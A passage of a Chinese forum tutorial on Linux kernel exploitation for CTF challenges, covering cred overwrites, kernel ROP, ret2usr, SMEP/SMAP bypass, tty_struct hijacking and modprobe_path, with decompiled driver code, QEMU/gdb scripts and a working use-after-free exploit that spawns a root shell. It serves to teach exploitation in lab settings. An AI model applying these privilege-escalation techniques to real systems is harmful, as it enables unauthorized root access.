-
-
[原创]Kernel PWN从入门到提升
-
发表于: 2023-3-8 22:35 26996
-
介于本人在入门kernel pwn的时候觉得当前trick种类繁多,前置知识也多得吓人,有点不知所措,且有些大佬的博客经常对一些我个人认为比较重要的点一句话带过,导致缺乏经验的我在学习过程中屡屡碰壁。所以我决定用此文章结合一道不错的例题尽可能详细的来讲一下kernel pwn从入门过渡到较高难度的部分,供想要学习kernel pwn的小伙伴们参考。
在开始看这篇文章之前,我希望小伙伴们已经掌握了kernel pwn一些最基本的操作,例如装好kernel pwn所需要的的前置环境。这一部分内容的优秀教程并不少。
另外,如果在阅读的过程中发现任何问题,都欢迎来和我交流指正。
在学习kernel pwn之前,需要搭建好很多前置环境
至于具体的安装过程并不在本文的讨论范围内,如果还没完成,先自行百度解决
kernel题一般都会给出一个打包好的文件系统,因此需要掌握常用到的打包/解包命令
(有时解包出来很奇怪,可能是原始cpio文件其实是以gz格式压缩后的,先gunzip解压一遍)
kernel使用cred结构体记录了进程的权限,如果能劫持或伪造cred结构体,就能改变当前进程的权限。
原型如下:
一般而言,我们需要想办法将uid和gid设置为0(root的uid和gid均为0)
如果能劫持到程序流程,执行以下函数也可以达到相同效果:
运行在内核态的函数会和用户态有些许不同
printf
-> kprintf
memcpy
-> copy_to_user / copy_from_user
内核的动态分配并不会采用用户态的glibc,他的堆分配器是SLAB或SLUB。常使用的函数如下:
malloc
-> kmalloc
free
-> kfree
为了安全考虑,内核态也只能运行内核态的函数(smep),想要运行system
等函数,必须手动切换回用户态。
常用的指令是swapgs
和iretq
(或者swapgs_restore_regs_and_return_to_usermode
函数,直接对CR3
寄存器的第13位取反来完成切换页表的操作,该函数在KPTI开启的版本中依然有效,而swapgs往往会寄)
然后需要在栈上存一些上下文:
以babydriver这题为例,先使用脚本extract-vmlinux
提取出带符号的源码
(脚本源码: https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux)
(或者用这个https://github.com/marin-m/vmlinux-to-elf)
在qemu中找到babydriver.ko代码段的起始地址
启动gdb过后导入符号表
然后在boot.sh
中添加以下参数
(直接-s
也行)
重新启动qemu过后,gdb远程连接
这里给出我常用的一些打包和调试的脚本
pack.sh
gdbinit
为了减小远程exp的体积,使用musl进行静态编译()
这是ciscn2017年的一道经典kernel pwn入门题。
解压rootfs.cpio
后,在/lib/modules/4.4.72
中找到了LKM文件babydriver.ko
checksec只开了nx,且没有去除符号表,很方便调试和分析
直接丢ida分析
在babyrelease
中kfree()之后没有将babydev_struct.device_buf
清空,从而导致了uaf漏洞
而且babydev_struct
是一个babydevice_t
类型的公共变量,结构如下。
device_buf
是存一个缓冲区的指针,device_buf_len
存该缓冲区大小。
其他的函数都很常规,
babyopen
在打开一个设备的时候简单设置了一下babydev_struct
的值
babywrite
和babyread
都只检查了一下device_buf
指针是否为空和是否越界, 然后对device_buf
进行常规的读写
babyioctl
比较有意思,当第二个参数command
为0x10001
时,可以重新kmalloc
一块指定大小的object到babydev_struct.device_buf
,从而修改了babydev_struct
的device_buf_len
为一个新值。
至此,利用思路已经非常明显了。
由于babydev_struct
只存在一个,且调用到babyrelease
的时候有uaf漏洞,我们可以open两个设备,然后使用babyioctl
将babydev_struct.device_buf_len
改成cred
结构体的大小之后free掉,造成第二个设备存在一个悬挂指针。
此时再fork()一个新线程,由于kernel的内存分配器采用的是SLUB,之前释放掉的那个和cred结构体相同大小的堆块会直接当成这个线程的cred被申请(kmem_cache_cpu->freelist
是后进先出的,类似于用户态glibc的fastbin,不过object并没有header。另,本题内核版本在4.4.72
,cred结构体的分配此时还并没有被隔离到cred_jar
中)
在这个进程中使用babywrite,便可将cred的gid和uid都设置为0
写好exp过后,由于rootfs.cpio里并没有libc,所以编译的时候要使用静态编译
然后重新打包文件系统,并修改boot.sh
中-initrd
参数为新打包好的文件系统。
此时再打开qemu,运行exp过后便可提权成功。
(由于本做法在高版本不可能适用,且实际意义不大,所以下文将采用一些更"有意思"的做法来提权)
本质上和用户态的rop并无区别,只是目标从getshell变成了提权,并且rop结束部分需要引导程序流着陆回用户态
题目给出了bzImage
, core.cpio
, start.sh
, vmlinux
四个文件。
先将core.cpio解包
发现除了常规文件以外,还多了一个gen_cpio.sh
内容如下:
这是一个快速打包用的批处理文件。
看看start.sh
开启了kaslr保护,并且用-s
为gdb开了端口,所以不需要再-gdb tcp::1234
开了。
不过他设置的64M内存不是很够用,我最终设置到了256M才能启动。
然后分析init
比较特殊的地方就是将/proc/sys/kernel/kptr_restrict
和/proc/sys/kernel/dmesg_restrict
的内容设为了1
,如此一来,就无法通过dmesg
和查看/proc/kallsyms
来获取函数地址了。
好在他前面有一行
将kallsyms
备份到了tmp
文件夹下。
然后之后设置了poweroff -d 120 -f
,这句比较影响之后的调试,可以直接删掉,或者把时间改长一点。
我最终修改过后的init
文件如下
将core的.text节地址备份出来是为了方便后续gdb加载symbol文件。
而且这个/sys/module/core/sections/.text
是只有root
能读的,直接备份出来比较省事,当然也可以直接修改成root
启动。
此外,为了方便后续打包和调试,我还写了两个批处理文件
接下来就是分析core.ko
的漏洞了
checksec发现开启了canary和nx。
init_module()
和exit_core()
分别注册和注销了/proc/core
,core_release()
什么都没做,这里对它们不作分析。
core_ioctl
中定义了三种操作,分别是调用core_read()
,设置全局变量off
,调用core_copy_func()
。
core_read
可以将距离rsp
偏移为off
的值往后拷贝0x40个字节给指定缓冲区。
这里利用off
是可以读出canary的。
core_write
是将至多0x800个字节从指定缓冲区复制到name
中去。
这个core_copy_func
则是本题最大的漏洞点。
当长度参数a1
小于等于63时,便可将name
中对应字节数的数据复制到栈上变量v2
中去,且a1
和63作比较时是有符号数,最后调用qmemcpy
时转成了unsigned __int16
。所以只需要将a1
最低两个字节的数据随便设置成一个能装下name
的长度,然后其余字节都是0xff
就行了。我这里最后构造的a1
是0xffffffffffff0100
。
所以整个攻击流程如下:
当然,在写rop之前,还有一个小小的问题需要解决。那就是解决kaslr和pie带来的偏移问题。
原始无pie的vmlinux基址是0xffffffff81000000
commit_creds
的地址是0xffffffff81000000+0x9c8e0
prepare_kernel_creds
的地址是0xffffffff8109cce0
包括后续找到的gadgets的地址,这些全是no-pie情况下的地址,我们还需要知道真正运行起来的时候与之的偏移。
这个其实就可以直接在/tmp/kallsyms
中,利用他给出的commit_creds
或prepare_kernel_cred
此时的地址来计算出来。
gadgets的预处理可以用ropper解决(ROPgadget太慢了)
至于rop的构思的话就非常简单了,先摆好rdi为0,然后调用prepare_kernel_cred
,此时返回值会在rax中,如果有mov rdi, rax; ret
的话将绝杀,可惜没有。
不过好在有类似的好几个,我选择了mov rdi, rax; jmp rcx;
如果在这之前将rcx摆好commit_creds
就很方便了。
然后切换回用户态,iretq; ret
是有的,swapgs就只有swapgs; popfq; ret;
,所以后面要跟一个垃圾数据平衡一下栈。
最后按照rip, cs, rflags, rsp, ss的顺序摆好之前用户态的寄存器就好了。
之前使用kernel rop的方法打下来了core这道题。但其实,默认情况下,虽然内核态的函数在用户空间下是无法运行的,但用户态的函数在内核空间却可以运行,因此我们可以在用户空间构造好commit_creds(prepare_kernel_cred(0))
,然后在内核空间以ring 0
权限来运行它。
利用这一点,可以对core的exp作出局部调整:
仍然可以成功提权。
(不过此方法在不久之后出现KPTI页表隔离保护之后就完全没法利用了,)
smep保护使得内核态也不能执行内核空间的代码了,因此直接ret2usr会失败。
(与之相近的保护机制是smap,他能让内核空间无法直接访问用户空间的数据)
不过是否开启smep保护是记录在cr4
寄存器上的。
cr4
寄存器的第20位为1
时SMEP就视为开启,为0
则视为关闭。
既然知道了判断是否开启smep的机制,那么bypass思路也很清晰了。只需要利用某些gadgets来修改cr4寄存器的值即可。(通常改成0x6f0,同时关闭smep和smap。不过控制cr4的gadgets在高版本无了)
这里用ret2usr的方法再解决一遍babydriver这道题。
查看boot.sh
,发现开启了smep。
所以我们需要用rop来关闭smep,然后再ret2usr提权。
可是这道题的洞是uaf,如何达成rop的目的呢?这里就需要用到tty_struct
和tty_operation
这两个结构体了。
他们的原型分别如下:
在tty_struct
中有const struct tty_operations *ops;
因此如果可以伪造出一个tty_struct
,使它的*ops
指向一个伪造出来的tty_operation
,即可利用write
和ioctl
这些函数来劫持程序执行流程。
由于不熟悉结构体,我这里是先把tty_operation的内容布置成了比较有规律的样子,然后利用报错计算偏移
一闪而过的报错中,可以看出来babywrite是被劫持到了tty_operation[7]
这个位置,所以直接从这里开始劫持控制流。(后面发现,只要在启动脚本中加一句-no-reboot
就不用担心看不见报错了,泪目)
想要完成内核rop,此时肯定需要控制一下rsp的位置,有一个比较好用的gadget:
经过调试,发现此时rax的值刚好是这个tty_operation
结构体的首地址
所以此时有两个思路:
不管用哪个,最终都能成功劫持程序流完成ret2usr。(由于一些原因,我还是选择了第二种方式)
不过有一个问题,使用这题原生的内核版本4.4.72会出现PANIC: double fault, error_code: 0x0
这样的报错,<del>所以需要换内核版本运行,这里就不过多讨论了。</del>
查了一些资料过后,发现很可能是PTI
保护机制的问题,在尝试关闭PTI
无果之后,发现其实可以通过对特定signal
的处理来继续完成利用,比如说PTI
机制这里会抛出的11号信号,给他处理成get_root_shell
这个函数就行了,因为在这之前已经完成了bypass smep和prepare_kernel_cred(commit_creds(0))
的操作。
(本来想用swapgs_restore_regs_and_return_to_usermode
的,不过这个题内核版本太老了,貌似还并没有引进这个函数)
大多数情况下,smep和smap都是同时出现的,那么之前那个攻击方式就有欠缺了些许味道(毕竟伪造的tty_operation还是位于用户态,所以并不能抗住smap这个机制)
所以我又脑子一热,将启动脚本修改如下(加入了smap)
思路其实和之前差不多,利用某些方式劫持到程序流之后栈迁到rop就行,只不过rop需要想办法构造在DMA区域中了。
为了学习尽可能多的trick,我使用了一种比较曲折的方式来达成利用((((
过程可以大致分为以下几步:
他和poweroff_cmd
, uevent_helper
, ocfs2_hb_ctl_path
, nfs_cache_getent_prog
, cltrack_prog
这些变量类似,都是call_usermodehelper
类型的trick。
只需要劫持一个字符串,就能用root权限执行任意命令(但是这个命令往往是不可以交互的)
以modprobe_path
为例在劫持了对应字符串为/tmp/a.sh
之后,只需要运行一个非正确的ELF文件即可触发
checksec只开了NX
关键函数如下,
非常直观的dma中越界读写漏洞(值得一提的是,越界的地址范围多达8字节,这已经可以任意位置读写了)
不难想到,只需要leak出kernel的text段地址即可直接越界修改modprobe_path
达成利用。
在leak的时候我使用的方法是
这个属于条件竞争类的利用,在某些时候kernel第一次拿到一个值,判断合法之后,距离使用还存在一定的窗口期,在这个期间利用条件竞争漏洞修改掉那个值,即可达成恶意目的。
baby_ioctl
的本意就是让你传一个地址和长度,如果和内核中flag的内容一致的话,就可以直接打印出flag了,而且在传参数0x6666的时候会直接白给内核态中真flag的地址。
不过在函数_chk_range_not_ok
里限制了我们传入的flag必须在用户态的空间之内。
一看启动脚本
双核,可能存在条件竞争类漏洞。
联想到double fetch的思路,可以尝试在传入flag地址,通过_chk_range_not_ok
的检查之后用子线程修改掉传入的flag地址为真正的flag地址,从而让他直接打印出flag。
(也有一种魔鬼思路是利用mmap开出一块地址,然后将猜测的flag放在mmap这块空间的末位,然后利用是否造成kernel pannic来逐步爆破flag,最多只需要爆破2k+次就能成功)
https://www.jianshu.com/p/a2259cd3e79e
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/
find . | cpio
-
o
-
-
format
=
newc > .
/
rootfs.cpio
cpio
-
idmv < .
/
rootfs.cpio
find . | cpio
-
o
-
-
format
=
newc > .
/
rootfs.cpio
cpio
-
idmv < .
/
rootfs.cpio
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers;
/
*
number of processes subscribed
*
/
void
*
put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid;
/
*
real UID of the task
*
/
kgid_t gid;
/
*
real GID of the task
*
/
kuid_t suid;
/
*
saved UID of the task
*
/
kgid_t sgid;
/
*
saved GID of the task
*
/
kuid_t euid;
/
*
effective UID of the task
*
/
kgid_t egid;
/
*
effective GID of the task
*
/
kuid_t fsuid;
/
*
UID
for
VFS ops
*
/
kgid_t fsgid;
/
*
GID
for
VFS ops
*
/
unsigned securebits;
/
*
SUID
-
less security management
*
/
kernel_cap_t cap_inheritable;
/
*
caps our children can inherit
*
/
kernel_cap_t cap_permitted;
/
*
caps we're permitted
*
/
kernel_cap_t cap_effective;
/
*
caps we can actually use
*
/
kernel_cap_t cap_bset;
/
*
capability bounding
set
*
/
kernel_cap_t cap_ambient;
/
*
Ambient capability
set
*
/
#ifdef CONFIG_KEYS
unsigned char jit_keyring;
/
*
default keyring to attach requested
*
keys to
*
/
struct key __rcu
*
session_keyring;
/
*
keyring inherited over fork
*
/
struct key
*
process_keyring;
/
*
keyring private to this process
*
/
struct key
*
thread_keyring;
/
*
keyring private to this thread
*
/
struct key
*
request_key_auth;
/
*
assumed request_key authority
*
/
#endif
#ifdef CONFIG_SECURITY
void
*
security;
/
*
subjective LSM security
*
/
#endif
struct user_struct
*
user;
/
*
real user
ID
subscription
*
/
struct user_namespace
*
user_ns;
/
*
user_ns the caps
and
keyrings are relative to.
*
/
struct group_info
*
group_info;
/
*
supplementary groups
for
euid
/
fsgid
*
/
struct rcu_head rcu;
/
*
RCU deletion hook
*
/
} __randomize_layout;
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers;
/
*
number of processes subscribed
*
/
void
*
put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid;
/
*
real UID of the task
*
/
kgid_t gid;
/
*
real GID of the task
*
/
kuid_t suid;
/
*
saved UID of the task
*
/
kgid_t sgid;
/
*
saved GID of the task
*
/
kuid_t euid;
/
*
effective UID of the task
*
/
kgid_t egid;
/
*
effective GID of the task
*
/
kuid_t fsuid;
/
*
UID
for
VFS ops
*
/
kgid_t fsgid;
/
*
GID
for
VFS ops
*
/
unsigned securebits;
/
*
SUID
-
less security management
*
/
kernel_cap_t cap_inheritable;
/
*
caps our children can inherit
*
/
kernel_cap_t cap_permitted;
/
*
caps we're permitted
*
/
kernel_cap_t cap_effective;
/
*
caps we can actually use
*
/
kernel_cap_t cap_bset;
/
*
capability bounding
set
*
/
kernel_cap_t cap_ambient;
/
*
Ambient capability
set
*
/
#ifdef CONFIG_KEYS
unsigned char jit_keyring;
/
*
default keyring to attach requested
*
keys to
*
/
struct key __rcu
*
session_keyring;
/
*
keyring inherited over fork
*
/
struct key
*
process_keyring;
/
*
keyring private to this process
*
/
struct key
*
thread_keyring;
/
*
keyring private to this thread
*
/
struct key
*
request_key_auth;
/
*
assumed request_key authority
*
/
#endif
#ifdef CONFIG_SECURITY
void
*
security;
/
*
subjective LSM security
*
/
#endif
struct user_struct
*
user;
/
*
real user
ID
subscription
*
/
struct user_namespace
*
user_ns;
/
*
user_ns the caps
and
keyrings are relative to.
*
/
struct group_info
*
group_info;
/
*
supplementary groups
for
euid
/
fsgid
*
/
struct rcu_head rcu;
/
*
RCU deletion hook
*
/
} __randomize_layout;
commit_creds(prepare_kernel_cred(
0
));
commit_creds(init_cred);
commit_creds(prepare_kernel_cred(
0
));
commit_creds(init_cred);
struct pt_regs {
/
*
......................
*
/
/
*
Return frame
for
iretq
*
/
unsigned
long
ip;
unsigned
long
cs;
unsigned
long
flags;
unsigned
long
sp;
unsigned
long
ss;
/
*
top of stack page
*
/
};
struct pt_regs {
/
*
......................
*
/
/
*
Return frame
for
iretq
*
/
unsigned
long
ip;
unsigned
long
cs;
unsigned
long
flags;
unsigned
long
sp;
unsigned
long
ss;
/
*
top of stack page
*
/
};
.
/
extract
-
vmlinux .
/
bzImage > .
/
vmlinux
.
/
extract
-
vmlinux .
/
bzImage > .
/
vmlinux
add
-
symbol
-
file
.
/
lib
/
modules
/
4.4
.
72
/
babydriver.ko
0xffffffffc0000000
add
-
symbol
-
file
.
/
lib
/
modules
/
4.4
.
72
/
babydriver.ko
0xffffffffc0000000
pwndbg> target remote
127.0
.
0.1
:
1234
pwndbg> target remote
127.0
.
0.1
:
1234
#!/bin/zsh
gcc \
.
/
exp.c \
-
o exp \
-
masm
=
intel \
-
-
static \
-
g
chmod
777
.
/
exp
find . | cpio
-
o
-
-
format
=
newc > .
/
rootfs.cpio
chmod
777
.
/
rootfs.cpio
#!/bin/zsh
gcc \
.
/
exp.c \
-
o exp \
-
masm
=
intel \
-
-
static \
-
g
chmod
777
.
/
exp
find . | cpio
-
o
-
-
format
=
newc > .
/
rootfs.cpio
chmod
777
.
/
rootfs.cpio
file
.
/
vmlinux
target remote
127.0
.
0.1
:
1234
c
file
.
/
vmlinux
target remote
127.0
.
0.1
:
1234
c
import
sys
import
os
from
pwn
import
*
import
string
context.log_level
=
'debug'
sla
=
lambda
x,y : p.sendlineafter(x,y)
sa
=
lambda
x,y : p.sendafter(x,y)
ru
=
lambda
x : p.recvuntil(x)
p
=
remote(
'127.0.0.1'
,
1234
)
def
send_cmd(cmd):
sla(
'$ '
, cmd)
def
upload():
lg
=
log.progress(
'Upload'
)
with
open
(
'exp'
,
'rb'
) as f:
data
=
f.read()
encoded
=
base64.b64encode(data)
encoded
=
str
(encoded)[
2
:
-
1
]
for
i
in
range
(
0
,
len
(encoded),
300
):
lg.status(
'%d / %d'
%
(i,
len
(encoded)))
send_cmd(
'echo -n "%s" >> benc'
%
(encoded[i:i
+
300
]))
send_cmd(
'cat benc | base64 -d > bout'
)
send_cmd(
'chmod +x bout'
)
lg.success()
os.system(
'musl-gcc -w -s -static -o3 exp.c -o exp'
)
upload()
p.interactive()
import
sys
import
os
from
pwn
import
*
import
string
context.log_level
=
'debug'
sla
=
lambda
x,y : p.sendlineafter(x,y)
sa
=
lambda
x,y : p.sendafter(x,y)
ru
=
lambda
x : p.recvuntil(x)
p
=
remote(
'127.0.0.1'
,
1234
)
def
send_cmd(cmd):
sla(
'$ '
, cmd)
def
upload():
lg
=
log.progress(
'Upload'
)
with
open
(
'exp'
,
'rb'
) as f:
data
=
f.read()
encoded
=
base64.b64encode(data)
encoded
=
str
(encoded)[
2
:
-
1
]
for
i
in
range
(
0
,
len
(encoded),
300
):
lg.status(
'%d / %d'
%
(i,
len
(encoded)))
send_cmd(
'echo -n "%s" >> benc'
%
(encoded[i:i
+
300
]))
send_cmd(
'cat benc | base64 -d > bout'
)
send_cmd(
'chmod +x bout'
)
lg.success()
os.system(
'musl-gcc -w -s -static -o3 exp.c -o exp'
)
upload()
p.interactive()
int
__fastcall babyrelease(inode
*
inode,
file
*
filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk(
"device release\n"
);
return
0
;
}
int
__fastcall babyrelease(inode
*
inode,
file
*
filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk(
"device release\n"
);
return
0
;
}
struct babydevice_t
{
char
*
device_buf;
size_t device_buf_len;
};
struct babydevice_t
{
char
*
device_buf;
size_t device_buf_len;
};
int
__fastcall babyopen(inode
*
inode,
file
*
filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf
=
(char
*
)kmem_cache_alloc_trace(kmalloc_caches[
6
],
0x24000C0LL
,
0x40LL
);
babydev_struct.device_buf_len
=
64LL
;
printk(
"device open\n"
);
return
0
;
}
int
__fastcall babyopen(inode
*
inode,
file
*
filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf
=
(char
*
)kmem_cache_alloc_trace(kmalloc_caches[
6
],
0x24000C0LL
,
0x40LL
);
babydev_struct.device_buf_len
=
64LL
;
printk(
"device open\n"
);
return
0
;
}
ssize_t __fastcall babywrite(
file
*
filp, const char
*
buffer
, size_t length, loff_t
*
offset)
{
size_t v4;
/
/
rdx
ssize_t result;
/
/
rax
ssize_t v6;
/
/
rbx
_fentry__(filp,
buffer
);
if
( !babydev_struct.device_buf )
return
-
1LL
;
result
=
-
2LL
;
if
( babydev_struct.device_buf_len > v4 )
{
v6
=
v4;
copy_from_user();
result
=
v6;
}
return
result;
}
ssize_t __fastcall babywrite(
file
*
filp, const char
*
buffer
, size_t length, loff_t
*
offset)
{
size_t v4;
/
/
rdx
ssize_t result;
/
/
rax
ssize_t v6;
/
/
rbx
_fentry__(filp,
buffer
);
if
( !babydev_struct.device_buf )
return
-
1LL
;
result
=
-
2LL
;
if
( babydev_struct.device_buf_len > v4 )
{
v6
=
v4;
copy_from_user();
result
=
v6;
}
return
result;
}
ssize_t __fastcall babyread(
file
*
filp, char
*
buffer
, size_t length, loff_t
*
offset)
{
size_t v4;
/
/
rdx
ssize_t result;
/
/
rax
ssize_t v6;
/
/
rbx
_fentry__(filp,
buffer
);
if
( !babydev_struct.device_buf )
return
-
1LL
;
result
=
-
2LL
;
if
( babydev_struct.device_buf_len > v4 )
{
v6
=
v4;
copy_to_user(
buffer
);
result
=
v6;
}
return
result;
}
ssize_t __fastcall babyread(
file
*
filp, char
*
buffer
, size_t length, loff_t
*
offset)
{
size_t v4;
/
/
rdx
ssize_t result;
/
/
rax
ssize_t v6;
/
/
rbx
_fentry__(filp,
buffer
);
if
( !babydev_struct.device_buf )
return
-
1LL
;
result
=
-
2LL
;
if
( babydev_struct.device_buf_len > v4 )
{
v6
=
v4;
copy_to_user(
buffer
);
result
=
v6;
}
return
result;
}
__int64 __fastcall babyioctl(
file
*
filp, unsigned
int
command, unsigned __int64 arg)
{
size_t v3;
/
/
rdx
size_t v4;
/
/
rbx
__int64 result;
/
/
rax
_fentry__(filp, command);
v4
=
v3;
if
( command
=
=
0x10001
)
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf
=
(char
*
)_kmalloc(v4,
0x24000C0LL
);
babydev_struct.device_buf_len
=
v4;
printk(
"alloc done\n"
);
result
=
0LL
;
}
else
{
printk(&unk_2EB);
result
=
-
22LL
;
}
return
result;
}
__int64 __fastcall babyioctl(
file
*
filp, unsigned
int
command, unsigned __int64 arg)
{
size_t v3;
/
/
rdx
size_t v4;
/
/
rbx
__int64 result;
/
/
rax
_fentry__(filp, command);
v4
=
v3;
if
( command
=
=
0x10001
)
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf
=
(char
*
)_kmalloc(v4,
0x24000C0LL
);
babydev_struct.device_buf_len
=
v4;
printk(
"alloc done\n"
);
result
=
0LL
;
}
else
{
printk(&unk_2EB);
result
=
-
22LL
;
}
return
result;
}
gcc exp.c
-
o exp
-
static
gcc exp.c
-
o exp
-
static
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<sys/wait.h>
#include<sys/stat.h>
int
main(){
int
fd1
=
open
(
"/dev/babydev"
, O_RDWR);
int
fd2
=
open
(
"/dev/babydev"
, O_RDWR);
ioctl(fd1,
0x10001
,
0xa8
);
close(fd1);
int
id
=
fork();
if
(
id
<
0
){
printf(
"fork error!\n"
);
exit(
-
1
);
}
else
if
(
id
=
=
0
){
char cred[
0x20
]
=
{
0
};
write(fd2, cred,
0x1c
);
if
(getuid()
=
=
0
){
system(
"/bin/sh"
);
exit(
0
);
}
}
else
{
wait(NULL);
}
return
0
;
}
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<sys/wait.h>
#include<sys/stat.h>
int
main(){
int
fd1
=
open
(
"/dev/babydev"
, O_RDWR);
int
fd2
=
open
(
"/dev/babydev"
, O_RDWR);
ioctl(fd1,
0x10001
,
0xa8
);
close(fd1);
int
id
=
fork();
if
(
id
<
0
){
printf(
"fork error!\n"
);
exit(
-
1
);
}
else
if
(
id
=
=
0
){
char cred[
0x20
]
=
{
0
};
write(fd2, cred,
0x1c
);
if
(getuid()
=
=
0
){
system(
"/bin/sh"
);
exit(
0
);
}
}
else
{
wait(NULL);
}
return
0
;
}
find .
-
print0 \
| cpio
-
-
null
-
ov
-
-
format
=
newc \
| gzip
-
9
> $
1
find .
-
print0 \
| cpio
-
-
null
-
ov
-
-
format
=
newc \
| gzip
-
9
> $
1
qemu
-
system
-
x86_64 \
-
m
64M
\
-
kernel .
/
bzImage \
-
initrd .
/
core.cpio \
-
append
"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
\
-
s \
-
netdev user,
id
=
t0,
-
device e1000,netdev
=
t0,
id
=
nic0 \
-
nographic \
qemu
-
system
-
x86_64 \
-
m
64M
\
-
kernel .
/
bzImage \
-
initrd .
/
core.cpio \
-
append
"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
\
-
s \
-
netdev user,
id
=
t0,
-
device e1000,netdev
=
t0,
id
=
nic0 \
-
nographic \
#!/bin/sh
mount
-
t proc proc
/
proc
mount
-
t sysfs sysfs
/
sys
mount
-
t devtmpfs none
/
dev
/
sbin
/
mdev
-
s
mkdir
-
p
/
dev
/
pts
mount
-
vt devpts
-
o gid
=
4
,mode
=
620
none
/
dev
/
pts
chmod
666
/
dev
/
ptmx
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
echo
1
>
/
proc
/
sys
/
kernel
/
kptr_restrict
echo
1
>
/
proc
/
sys
/
kernel
/
dmesg_restrict
ifconfig eth0 up
udhcpc
-
i eth0
ifconfig eth0
10.0
.
2.15
netmask
255.255
.
255.0
route add default gw
10.0
.
2.2
insmod
/
core.ko
poweroff
-
d
120
-
f &
setsid
/
bin
/
cttyhack setuidgid
1000
/
bin
/
sh
echo
'sh end!\n'
umount
/
proc
umount
/
sys
poweroff
-
d
0
-
f
#!/bin/sh
mount
-
t proc proc
/
proc
mount
-
t sysfs sysfs
/
sys
mount
-
t devtmpfs none
/
dev
/
sbin
/
mdev
-
s
mkdir
-
p
/
dev
/
pts
mount
-
vt devpts
-
o gid
=
4
,mode
=
620
none
/
dev
/
pts
chmod
666
/
dev
/
ptmx
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
echo
1
>
/
proc
/
sys
/
kernel
/
kptr_restrict
echo
1
>
/
proc
/
sys
/
kernel
/
dmesg_restrict
ifconfig eth0 up
udhcpc
-
i eth0
ifconfig eth0
10.0
.
2.15
netmask
255.255
.
255.0
route add default gw
10.0
.
2.2
insmod
/
core.ko
poweroff
-
d
120
-
f &
setsid
/
bin
/
cttyhack setuidgid
1000
/
bin
/
sh
echo
'sh end!\n'
umount
/
proc
umount
/
sys
poweroff
-
d
0
-
f
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
mount
-
t proc proc
/
proc
mount
-
t sysfs sysfs
/
sys
mount
-
t devtmpfs none
/
dev
/
sbin
/
mdev
-
s
mkdir
-
p
/
dev
/
pts
mount
-
vt devpts
-
o gid
=
4
,mode
=
620
none
/
dev
/
pts
chmod
666
/
dev
/
ptmx
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
echo
1
>
/
proc
/
sys
/
kernel
/
kptr_restrict
echo
1
>
/
proc
/
sys
/
kernel
/
dmesg_restrict
ifconfig eth0 up
udhcpc
-
i eth0
ifconfig eth0
10.0
.
2.15
netmask
255.255
.
255.0
route add default gw
10.0
.
2.2
insmod
/
core.ko
chown root:root
/
flag
chmod
400
/
flag
cat
/
sys
/
module
/
core
/
sections
/
.text >
/
tmp
/
info
poweroff
-
d
1200000
-
f &
setsid
/
bin
/
cttyhack setuidgid
1000
/
bin
/
sh
# setsid /bin/cttyhack setuidgid 0 /bin/sh
echo
'sh end!\n'
umount
/
proc
umount
/
sys
poweroff
-
d
0
-
f
mount
-
t proc proc
/
proc
mount
-
t sysfs sysfs
/
sys
mount
-
t devtmpfs none
/
dev
/
sbin
/
mdev
-
s
mkdir
-
p
/
dev
/
pts
mount
-
vt devpts
-
o gid
=
4
,mode
=
620
none
/
dev
/
pts
chmod
666
/
dev
/
ptmx
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
echo
1
>
/
proc
/
sys
/
kernel
/
kptr_restrict
echo
1
>
/
proc
/
sys
/
kernel
/
dmesg_restrict
ifconfig eth0 up
udhcpc
-
i eth0
ifconfig eth0
10.0
.
2.15
netmask
255.255
.
255.0
route add default gw
10.0
.
2.2
insmod
/
core.ko
chown root:root
/
flag
chmod
400
/
flag
cat
/
sys
/
module
/
core
/
sections
/
.text >
/
tmp
/
info
poweroff
-
d
1200000
-
f &
setsid
/
bin
/
cttyhack setuidgid
1000
/
bin
/
sh
# setsid /bin/cttyhack setuidgid 0 /bin/sh
echo
'sh end!\n'
umount
/
proc
umount
/
sys
poweroff
-
d
0
-
f
root@ubuntu:
/
home
/
kotori
/
Desktop
/
core
# cat pack.sh
rm .
/
core.cpio
.
/
gen_cpio.sh .
/
core.cpio
chmod
777
.
/
core.cpio
root@ubuntu:
/
home
/
kotori
/
Desktop
/
core
# cat mkc.sh
gcc .
/
exp.c
-
o exp
-
-
static
-
masm
=
intel
chmod
777
.
/
exp
sudo .
/
pack.sh
root@ubuntu:
/
home
/
kotori
/
Desktop
/
core
# cat pack.sh
rm .
/
core.cpio
.
/
gen_cpio.sh .
/
core.cpio
chmod
777
.
/
core.cpio
root@ubuntu:
/
home
/
kotori
/
Desktop
/
core
# cat mkc.sh
gcc .
/
exp.c
-
o exp
-
-
static
-
masm
=
intel
chmod
777
.
/
exp
sudo .
/
pack.sh
__int64 __fastcall core_ioctl(__int64 a1,
int
a2, __int64 a3)
{
switch ( a2 )
{
case
0x6677889B
:
core_read(a3);
break
;
case
0x6677889C
:
printk(&unk_2CD);
off
=
a3;
break
;
case
0x6677889A
:
printk(&unk_2B3);
core_copy_func(a3);
break
;
}
return
0LL
;
}
__int64 __fastcall core_ioctl(__int64 a1,
int
a2, __int64 a3)
{
switch ( a2 )
{
case
0x6677889B
:
core_read(a3);
break
;
case
0x6677889C
:
printk(&unk_2CD);
off
=
a3;
